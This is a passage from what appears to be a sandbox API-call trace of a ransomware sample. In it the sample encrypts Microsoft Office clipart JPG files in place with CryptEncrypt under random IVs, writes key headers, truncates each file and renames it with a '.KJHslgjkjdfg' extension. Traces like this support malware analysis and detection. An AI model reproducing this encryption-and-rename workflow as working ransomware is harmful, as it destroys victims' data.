(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.823] GetProcessHeap () returned 0x2ef0000 [0212.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0212.823] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0212.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0212.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0212.859] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.859] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.859] GetProcessHeap () returned 0x2ef0000 [0212.859] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0212.859] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0212.859] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.859] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0212.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0212.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0212.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0212.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0212.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0212.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0212.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0212.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.860] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa9e2, lpOverlapped=0x0) returned 1 [0212.862] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa9f0, dwBufLen=0xa9f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa9f0) returned 1 [0212.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.862] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa9f0, lpOverlapped=0x0) returned 1 [0212.863] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0212.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.863] SetEndOfFile (hFile=0x130) returned 1 [0212.889] GetProcessHeap () returned 0x2ef0000 [0212.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0212.889] GetProcessHeap () returned 0x2ef0000 [0212.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0212.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.kjhslgjkjdfg")) returned 1 [0212.891] CloseHandle (hObject=0x130) returned 1 [0212.891] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0212.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.892] GetProcessHeap () returned 0x2ef0000 [0212.892] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0212.892] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0212.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0212.892] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0213.089] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.090] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.090] GetProcessHeap () returned 0x2ef0000 [0213.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.090] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.091] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.091] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ee3, lpOverlapped=0x0) returned 1 [0213.276] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0) returned 1 [0213.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.277] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ef0, lpOverlapped=0x0) returned 1 [0213.277] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.277] SetEndOfFile (hFile=0x130) returned 1 [0213.278] GetProcessHeap () returned 0x2ef0000 [0213.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.293] GetProcessHeap () returned 0x2ef0000 [0213.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.kjhslgjkjdfg")) returned 1 [0213.295] CloseHandle (hObject=0x130) returned 1 [0213.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0213.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.302] GetProcessHeap () returned 0x2ef0000 [0213.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.303] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.323] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.323] GetProcessHeap () returned 0x2ef0000 [0213.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.323] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.323] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.323] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.324] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.324] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.357] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.357] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.357] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f8a, lpOverlapped=0x0) returned 1 [0213.358] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90) returned 1 [0213.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.358] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f90, lpOverlapped=0x0) returned 1 [0213.358] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.358] SetEndOfFile (hFile=0x130) returned 1 [0213.361] GetProcessHeap () returned 0x2ef0000 [0213.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.361] GetProcessHeap () returned 0x2ef0000 [0213.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.kjhslgjkjdfg")) returned 1 [0213.363] CloseHandle (hObject=0x130) returned 1 [0213.363] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0213.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.364] GetProcessHeap () returned 0x2ef0000 [0213.364] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.364] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.365] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0213.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.367] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.367] GetProcessHeap () returned 0x2ef0000 [0213.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.367] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.367] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.368] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.368] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.368] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.368] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5a56, lpOverlapped=0x0) returned 1 [0213.369] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5a60, dwBufLen=0x5a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5a60) returned 1 [0213.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.370] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5a60, lpOverlapped=0x0) returned 1 [0213.370] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.370] SetEndOfFile (hFile=0x130) returned 1 [0213.371] GetProcessHeap () returned 0x2ef0000 [0213.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.371] GetProcessHeap () returned 0x2ef0000 [0213.372] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.kjhslgjkjdfg")) returned 1 [0213.373] CloseHandle (hObject=0x130) returned 1 [0213.373] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0213.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.375] GetProcessHeap () returned 0x2ef0000 [0213.375] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.375] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.376] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, 